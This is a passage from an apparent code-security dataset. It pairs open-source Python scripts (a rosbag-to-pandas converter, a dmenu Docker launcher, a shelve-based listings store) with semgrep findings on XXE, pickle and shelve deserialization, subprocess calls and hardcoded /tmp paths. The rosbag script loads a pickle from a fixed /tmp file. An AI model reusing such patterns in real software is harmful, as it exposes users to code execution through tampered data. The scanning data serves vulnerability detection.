| 111 | 35.68 | 102 | 21 | 1,055 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_61a0d054ef326713_c5f65655", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 1, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/61a0d054ef326713.py", "start": {"line": 8, "col": 1, "offset": 141}, "end": {"line": 8, "col": 40, "offset": 180}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
8
] | [
8
] | [
1
] | [
40
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | tmx.py | /mtdata/tmx.py | thammegowda/mtdata | Apache-2.0 | |
2024-11-18T19:18:45.620798+00:00 | 1,691,002,496,000 | 17e29f2ee24ef572d579b0da13e43096ac3d7c46 | 3 | {
"blob_id": "17e29f2ee24ef572d579b0da13e43096ac3d7c46",
"branch_name": "refs/heads/master",
"committer_date": 1691002496000,
"content_id": "ed7747ba5edd3356903a7ec901692fe4b6e15629",
"detected_licenses": [
"MIT"
],
"directory_id": "2e66f7c4c3e7ce350f6581b6ec342560c48d2aa9",
"extension": "py",
"filename": "rosbag_to_pandas.py",
"fork_events_count": 2,
"gha_created_at": 1480592136000,
"gha_event_created_at": 1691785192000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 75286765,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6234,
"license": "MIT",
"license_type": "permissive",
"path": "/bitbots_utils/scripts/rosbag_to_pandas.py",
"provenance": "stack-edu-0054.json.gz:579864",
"repo_name": "bit-bots/bitbots_misc",
"revision_date": 1691002496000,
"revision_id": "ee6a6e12100a3e7cb3b4e35a6f1b2a085278044f",
"snapshot_id": "576748cfe3ce6aa6ec81858fbbf83860acb0b8b6",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/bit-bots/bitbots_misc/ee6a6e12100a3e7cb3b4e35a6f1b2a085278044f/bitbots_utils/scripts/rosbag_to_pandas.py",
"visit_date": "2023-08-26T17:51:49.381702"
} | 2.9375 | stackv2 | #!/usr/bin/env python3
import rosbag
import argparse
import rosmsg
import pandas as pd
import os.path
import pickle
FILE_PATH = "/tmp/rosbag_to_pandas_input"
"""
This script reads in a rosbag and ouputs a pandas dataframe representration of the data. This is usefull for later
processing, e.g. in scikit-learn or for creating plots.
"""
class COLORS:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
parser = argparse.ArgumentParser()
parser.add_argument("bag")
parser.add_argument("--output-folder", required=False)
args = parser.parse_args()
bag = rosbag.Bag(args.bag)
topics = []
types = []
for key, value in bag.get_type_and_topic_info().topics.items():
topics.append(key)
types.append(value[0])
# see if we have a previous set of inputs
use_saved = False
if os.path.isfile(FILE_PATH):
use_saved_input = input("Do you want to extract the same data as last time? [Y|n]")
use_saved = use_saved_input in ["y", "Y", ""]
if use_saved:
saved_input = pickle.load(open(FILE_PATH, "rb"))
else:
print("No previous input found. You will need to enter everything.")
if use_saved:
topic_selections_str = saved_input["topic_selections_str"]
else:
col_width = max(len(word) for row in [topics, types] for word in row) + 4 #
for i in range(len(topics)):
print(f"{COLORS.BOLD}{COLORS.OKBLUE}[{i}]:{COLORS.ENDC} {topics[i].ljust(col_width)}{types[i]}")
topic_selections_str = input("Select data source. Use a format like 0 2 3.\n")
topic_selections_str_list = topic_selections_str.split()
topic_selections = []
for topic_selection_str in topic_selections_str_list:
try:
topic_selections.append(int(topic_selection_str))
except ValueError as ex:
print(ex)
exit(-1)
selected_topics_list = [topics[i] for i in topic_selections]
# used later to know how far you have been
message_count = sum(bag.get_message_count(topics[i]) for i in topic_selections)
if use_saved:
data_selections = saved_input["data_selections"]
else:
data_selections = []
for topic_selection in topic_selections:
print(
f"{COLORS.BOLD}{COLORS.OKGREEN}Available Fields from {COLORS.OKBLUE}{topics[topic_selection]}{COLORS.ENDC}")
print(rosmsg.get_msg_text(types[topic_selection]))
single_topic_data_selection = input("Specify which fields you want seperated with spaces. "
"You can also use a semantic like \"orientation.x\" to access internal fields."
"Header stamp and seq are included automatically.\n")
data_selections.append(single_topic_data_selection.split())
def recursive_getattr(obj, field_list):
if len(field_list) == 1:
return getattr(obj, field_list[0])
else:
return recursive_getattr(getattr(obj, field_list[0]), field_list[1:])
frames = []
for data_selection in data_selections:
frames.append(pd.DataFrame(columns=["header"].extend(data_selection)))
msg_generator = bag.read_messages(topics=[topics[i] for i in topic_selections])
if use_saved:
seperate_input = saved_input["seperate_input"]
else:
seperate_input = input("Do you want to extract lists and tuples into separate columns? [Y|n]")
seperate = seperate_input in ["y", "Y", ""]
if seperate:
print("Will separate\n")
else:
print("Will not separate\n")
if use_saved:
remove_remove_time_offset_input = saved_input["remove_remove_time_offset_input"]
else:
remove_remove_time_offset_input = input("Do you want the time to start at 0 (remove time offset)? [Y|n]")
remove_time_offset = remove_remove_time_offset_input in ["y", "Y", ""]
if remove_time_offset:
print("Will remove offset\n")
else:
print("Will not remove offset\n")
print(f"{COLORS.BOLD}{COLORS.WARNING}Extracting data{COLORS.ENDC}")
header_warning_printed = False
current_msg_index = 0
first_stamp = [None] * len(selected_topics_list)
for msg in msg_generator:
# give some status feedback since this can take a while
if current_msg_index % 1000 == 0:
print(f"{current_msg_index} / {message_count}")
current_msg_index += 1
try:
i = selected_topics_list.index(msg.topic)
except ValueError:
continue
fields = {}
try:
time_stamp = msg.message.header.stamp.to_sec()
except AttributeError:
if not header_warning_printed:
header_warning_printed = True
print(
f"{COLORS.WARNING}No header found in one of the messages. Will use receiving time as stamp.{COLORS.ENDC}")
time_stamp = msg.timestamp.to_sec()
if not first_stamp[i]:
# remember first timestamp to remove offset
first_stamp[i] = time_stamp
# remove offset if wanted
if remove_time_offset:
fields["stamp"] = time_stamp - first_stamp[i]
else:
fields["stamp"] = time_stamp
for data_selection in data_selections[i]:
f = recursive_getattr(msg.message, data_selection.split("."))
# extract lists in own rows
if seperate and (isinstance(f, list) or isinstance(f, tuple)):
j = 0
for entry in f:
fields[f"{data_selection}_{j}"] = entry
j += 1
else:
fields[data_selection] = f
frames[i] = frames[i].append(fields, ignore_index=True)
if args.output_folder:
output_folder = args.output_folder
if not os.path.exists(output_folder):
os.makedirs(output_folder)
else:
output_folder = "."
for i, frame in enumerate(frames):
print(f"{COLORS.OKBLUE}{selected_topics_list[i]}{COLORS.ENDC}")
print(frame.info())
frame.to_pickle(output_folder + "/" + selected_topics_list[i][1:].replace("/", "-") + ".pickle")
# save user input for next time
input_to_save = {}
input_to_save["topic_selections_str"] = topic_selections_str
input_to_save["data_selections"] = data_selections
input_to_save["seperate_input"] = seperate_input
input_to_save["remove_remove_time_offset_input"] = remove_remove_time_offset_input
pickle.dump(input_to_save, open(FILE_PATH, "wb"))
| 184 | 32.88 | 123 | 15 | 1,523 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_90ea72373b513016_549190a8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 23, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/90ea72373b513016.py", "start": {"line": 48, "col": 23, "offset": 1126}, "end": {"line": 48, "col": 57, "offset": 1160}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.hardcoded-tmp-path_90ea72373b513016_951f0e85", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.hardcoded-tmp-path", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected hardcoded temp directory. Consider using 'tempfile.TemporaryFile' instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 35, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/tempfile.html#tempfile.TemporaryFile", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.hardcoded-tmp-path", "path": "/tmp/tmppq52ww6s/90ea72373b513016.py", "start": {"line": 48, "col": 35, "offset": 1138}, "end": {"line": 48, "col": 56, "offset": 1159}, "extra": {"message": "Detected hardcoded temp directory. Consider using 'tempfile.TemporaryFile' instead.", "metadata": {"references": ["https://docs.python.org/3/library/tempfile.html#tempfile.TemporaryFile"], "category": "best-practice", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_90ea72373b513016_dd40f84a", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit((-1))", "location": {"file_path": "unknown", "line_start": 68, "line_end": 68, "column_start": 9, "column_end": 17, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmppq52ww6s/90ea72373b513016.py", "start": {"line": 68, "col": 9, "offset": 1883}, "end": {"line": 68, "col": 17, "offset": 1891}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit((-1))", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_90ea72373b513016_26facb9e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 184, "line_end": 184, "column_start": 1, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/90ea72373b513016.py", "start": {"line": 184, "col": 1, "offset": 6184}, "end": {"line": 184, "col": 50, "offset": 6233}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.hardcoded-tmp-path_90ea72373b513016_30f09624", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.hardcoded-tmp-path", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected hardcoded temp directory. Consider using 'tempfile.TemporaryFile' instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 184, "line_end": 184, "column_start": 28, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/tempfile.html#tempfile.TemporaryFile", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.hardcoded-tmp-path", "path": "/tmp/tmppq52ww6s/90ea72373b513016.py", "start": {"line": 184, "col": 28, "offset": 6211}, "end": {"line": 184, "col": 49, "offset": 6232}, "extra": {"message": "Detected hardcoded temp directory. Consider using 'tempfile.TemporaryFile' instead.", "metadata": {"references": ["https://docs.python.org/3/library/tempfile.html#tempfile.TemporaryFile"], "category": "best-practice", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
48,
184
] | [
48,
184
] | [
23,
1
] | [
57,
50
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | rosbag_to_pandas.py | /bitbots_utils/scripts/rosbag_to_pandas.py | bit-bots/bitbots_misc | MIT | |
2024-11-18T19:18:47.031494+00:00 | 1,500,559,443,000 | c65611b150dfd151e27440cede70ac212df84a6f | 3 | {
"blob_id": "c65611b150dfd151e27440cede70ac212df84a6f",
"branch_name": "refs/heads/master",
"committer_date": 1500559443000,
"content_id": "73ec7ca42c4a370236fc205242df94762b7b3138",
"detected_licenses": [
"MIT"
],
"directory_id": "57be069750cfa80d66888f12befe6b5a15bdb733",
"extension": "py",
"filename": "dmenu-docker.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 97839267,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3928,
"license": "MIT",
"license_type": "permissive",
"path": "/src/dmenu-docker.py",
"provenance": "stack-edu-0054.json.gz:579878",
"repo_name": "dj95/dmenu-docker",
"revision_date": 1500559443000,
"revision_id": "09d21e57e2bfca7d445df77c3e1ddca7c988a736",
"snapshot_id": "04d5d0a000859d16242443f25d2825a559d82672",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/dj95/dmenu-docker/09d21e57e2bfca7d445df77c3e1ddca7c988a736/src/dmenu-docker.py",
"visit_date": "2021-01-01T16:28:02.059488"
} | 3.1875 | stackv2 | #!/bin/env python3
#
# dmenu-docker
#
# (c) 2017 - Daniel Jankowski
# imports
import os
import docker
import subprocess
'''
Get all docker containers from the docker api.
'''
def getDockerContainer():
# connect to the docker api
client = docker.from_env()
# get a list of all containers
containers = client.containers.list(all=True)
# get a list of all running containers
running_containers = client.containers.list()
# return both values
return containers, running_containers
'''
Start a docker container and its linked containers
'''
def startDockerContainer(selected_container, containers):
# an array to save all links
linked_containers = []
# iterate throygh containers
for container in containers:
# if we found the selected container
if selected_container == container.attrs['Name']:
# save the container object..
container_object = container
# ...and its linked containers
if container.attrs['HostConfig']['Links'] is not None:
# iterate through the links
for link in container.attrs['HostConfig']['Links']:
# save the name of the link
linked_containers.append(link.split(':')[0])
# iterate throygh containers
for container in containers:
if container.attrs['Name'] in linked_containers:
# start the linked containers
container.start()
# start the selected container
container_object.start()
'''
Stop the selected docker container. Linked containers will run in order to
prevent breaking dependencies to other running containers.
'''
def stopDockerContainer(selected_container, containers):
# iterate through all containers...
for c in containers:
# ...in order to find the selected one...
if selected_container == c.attrs['Name']:
# ...and stop it.
c.stop()
'''
Show dmenu with the container names and return the selected result.
'''
def showDmenu(line):
exec_path = os.path.realpath(__file__).rstrip('dmenu-docker.py')
# build the command array with the dmenu.sh and the dmenu line we generated
cmd = [exec_path + 'dmenu.sh', line]
# start the process
process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
# get the result through a pipe, ...
result = process.communicate()
# ...decode and return it
return result[0].decode('utf-8')[:-1]
'''
Main function
'''
def main():
# get all containers and all running containers
containers, running_containers = getDockerContainer()
# placeholder variables
names = {}
dmenu_line = ''
# iterate through containers
for container in containers:
# check if the container is running
if container in running_containers:
# if it runs, save it in the names dict...
names[container.attrs['Name']] = True
# ...and add the name to the dmenu line
dmenu_line += container.attrs['Name'] + ' [running]\n'
else:
# if the container is not running, save the state...
names[container.attrs['Name']] = False
# ...and add the name to the dmenu line
dmenu_line += container.attrs['Name'] + '\n'
# display dmenu and get the result
selected_container = showDmenu(dmenu_line[:-1])
# if no container is selected, just return
if selected_container == '':
return
# check if the container is running
if names[selected_container.rstrip(' [running]')]:
# stop the container if its running
stopDockerContainer(selected_container.rstrip(' [running]'), containers)
else:
# start the container if it is not running
startDockerContainer(selected_container, containers)
# entry point
if __name__ == '__main__':
main()
| 138 | 27.46 | 82 | 19 | 839 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_fd5b8a3571229fb1_75164f82", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 84, "line_end": 84, "column_start": 15, "column_end": 83, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/fd5b8a3571229fb1.py", "start": {"line": 84, "col": 15, "offset": 2290}, "end": {"line": 84, "col": 83, "offset": 2358}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
84
] | [
84
] | [
15
] | [
83
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | dmenu-docker.py | /src/dmenu-docker.py | dj95/dmenu-docker | MIT | |
2024-11-18T19:18:49.052509+00:00 | 1,582,289,157,000 | 8e2268d1c55587f62a482100737b3214fdbfc11e | 3 | {
"blob_id": "8e2268d1c55587f62a482100737b3214fdbfc11e",
"branch_name": "refs/heads/master",
"committer_date": 1582289157000,
"content_id": "fb32808b987b47e71df22b72f8a4fbea6c55e892",
"detected_licenses": [
"MIT"
],
"directory_id": "3d83cba1884c4bec96b476ea9a84014349860075",
"extension": "py",
"filename": "listings_db.py",
"fork_events_count": 0,
"gha_created_at": 1582289046000,
"gha_event_created_at": 1682976014000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 242137187,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1603,
"license": "MIT",
"license_type": "permissive",
"path": "/db/listings_db.py",
"provenance": "stack-edu-0054.json.gz:579900",
"repo_name": "pkrysiak/coding-challenge-bpify",
"revision_date": 1582289157000,
"revision_id": "1ee31fefc002cd968947ee68896e608804c92fc5",
"snapshot_id": "e5b9904542e362661c7451807550f17477720e74",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/pkrysiak/coding-challenge-bpify/1ee31fefc002cd968947ee68896e608804c92fc5/db/listings_db.py",
"visit_date": "2023-05-11T13:58:10.999344"
} | 2.828125 | stackv2 | import shelve, uuid
class ListingsDB:
DB_FILE = 'listings-flat.db'
def __init__(self, test=False):
self.test = test
db = self.__establish_connection()
if db.get('listings') == None:
db['listings'] = []
db.close()
def __establish_connection(self):
return shelve.open(self.DB_FILE, writeback=True)
def find_by_id(self, listing_id):
db = self.__establish_connection()
listing = next((listing for listing in db['listings'] if listing['id'] == listing_id), None)
db.close()
return listing
def find_all(self):
db = self.__establish_connection()
listings = db['listings']
db.close()
return listings
def create(self, listing_model):
listing_model.id = str(uuid.uuid1())
db = self.__establish_connection()
db['listings'].append(listing_model.to_dict())
db.close()
return listing_model
def update(self, listing_model):
db = self.__establish_connection()
for index, listing in enumerate(db['listings']):
if listing['id'] == listing_model.id:
db['listings'][index] = listing_model.to_dict()
db.close()
return listing_model
def delete(self, listing_model):
db = self.__establish_connection()
for index, listing in enumerate(db['listings']):
if listing['id'] == listing_model.id:
del db['listings'][index]
db.close()
return listing_model | 49 | 31.73 | 100 | 15 | 337 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-shelve_c806680f9515d0e5_e146a9cb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-shelve", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 16, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-shelve", "path": "/tmp/tmppq52ww6s/c806680f9515d0e5.py", "start": {"line": 14, "col": 16, "offset": 325}, "end": {"line": 14, "col": 57, "offset": 366}, "extra": {"message": "Avoid using `shelve`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.insecure-uuid-version_c806680f9515d0e5_413f272e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.insecure-uuid-version", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security.", "remediation": "uuid.uuid4()", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 32, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": "CWE-330: Use of Insufficiently Random Values", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A02:2021 - Cryptographic Failures", "references": [{"url": "https://www.landh.tech/blog/20230811-sandwich-attack/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.insecure-uuid-version", "path": "/tmp/tmppq52ww6s/c806680f9515d0e5.py", "start": {"line": 29, "col": 32, "offset": 806}, "end": {"line": 29, "col": 44, "offset": 818}, "extra": {"message": "Using UUID version 1 for UUID generation can lead to predictable UUIDs based on system information (e.g., MAC address, timestamp). This may lead to security risks such as the sandwich attack. Consider using `uuid.uuid4()` instead for better randomness and security.", "fix": "uuid.uuid4()", "metadata": {"references": ["https://www.landh.tech/blog/20230811-sandwich-attack/"], "cwe": ["CWE-330: Use of Insufficiently Random Values"], "owasp": ["A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "asvs": {"control_id": "6.3.2 